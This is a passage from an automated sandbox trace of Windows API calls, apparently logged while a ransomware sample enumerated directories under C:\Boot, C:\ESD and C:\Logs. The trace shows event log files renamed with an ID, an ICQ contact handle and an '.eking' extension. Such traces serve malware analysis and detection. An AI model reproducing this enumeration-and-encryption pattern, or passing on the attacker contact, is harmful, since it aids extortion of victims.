ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.821] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.821] GetProcessHeap () returned 0xaf0000 [0275.821] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.821] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0275.821] GetProcessHeap () returned 0xaf0000 [0275.821] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.821] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\uk-UA\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.821] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.821] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.821] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.821] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.821] GetProcessHeap () returned 0xaf0000 [0275.821] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.821] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0275.822] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0275.822] GetProcessHeap () returned 0xaf0000 [0275.822] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.822] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.822] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.823] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.823] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.823] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0275.823] GetProcessHeap () returned 0xaf0000 [0275.823] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.823] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0275.823] GetProcessHeap () returned 0xaf0000 [0275.823] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0275.823] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.823] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.823] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.823] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.824] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0275.824] GetProcessHeap () returned 0xaf0000 [0275.824] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.824] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0275.824] GetProcessHeap () returned 0xaf0000 [0275.824] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.824] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.824] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.824] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.824] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.824] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.824] GetProcessHeap () returned 0xaf0000 [0275.825] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.825] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0275.825] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0275.825] GetProcessHeap () returned 0xaf0000 [0275.825] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb95148 | out: hHeap=0xaf0000) returned 1 [0276.078] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2fcfb88 | out: lpFindFileData=0x2fcfb88*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x75cb0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0276.078] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2fcfb88 | out: lpFindFileData=0x2fcfb88*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x75cb0000, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0276.078] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2fcfb88 | out: lpFindFileData=0x2fcfb88*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x75cb0000, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0276.079] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2fcfb88 | out: lpFindFileData=0x2fcfb88*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0276.079] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2fcfb88 | out: lpFindFileData=0x2fcfb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0276.079] GetProcessHeap () returned 0xaf0000 [0276.079] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0276.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ESD\\*", lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0276.079] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0276.079] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 0 [0276.079] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0276.079] GetProcessHeap () returned 0xaf0000 [0276.079] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0276.079] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2fcfb88 | out: lpFindFileData=0x2fcfb88*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3e306ebc, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0276.079] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2fcfb88 | out: lpFindFileData=0x2fcfb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0x79f19b1b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x79f19b1b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0276.080] GetProcessHeap () returned 0xaf0000 [0276.080] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0276.080] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Logs\\*", lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0x79f19b1b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7f2c171d, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0276.080] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0x79f19b1b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7f2c171d, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0276.080] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7846d6ee, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7846d6ee, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x784b9d70, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Application.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="APPLIC~1.EKI")) returned 1 [0276.080] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7846d6ee, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7846d6ee, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x78493973, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="HardwareEvents.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="HARDWA~1.EKI")) returned 1 [0276.081] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x784b9d70, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x784b9d70, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x78daafa6, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Internet Explorer.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="INTERN~1.EKI")) returned 1 [0276.081] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x784b9d70, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x784b9d70, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x78f50450, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11122, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Key Management Service.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="KEYMAN~1.EKI")) returned 1 [0276.081] FindNextFileW (in: hFindFile=0xb02d08, 